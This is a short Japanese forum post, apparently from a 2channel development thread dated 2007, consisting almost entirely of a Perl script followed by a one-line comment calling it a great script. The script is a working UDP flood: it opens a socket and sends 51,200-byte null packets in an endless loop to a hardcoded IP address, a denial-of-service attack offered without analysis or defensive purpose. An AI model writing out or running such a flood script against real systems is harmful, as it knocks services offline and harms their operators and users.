２ちゃんねるプラスClone開発スレ

[0231 名無しさん＠お腹いっぱい。 2007/01/15(月) 18:59:07]

#!/usr/bin/perl
use Socket;
$ip = "125.30.73.133";
$port = 0xffff;
$dust = "\0" x 51200;
$host = pack_sockaddr_in($port, inet_aton($ip));
socket(SOCKET, PF_INET, SOCK_DGRAM, 0);
for (;;) { send(SOCKET, $dust, 0, $host); }

なんという良スクリプト…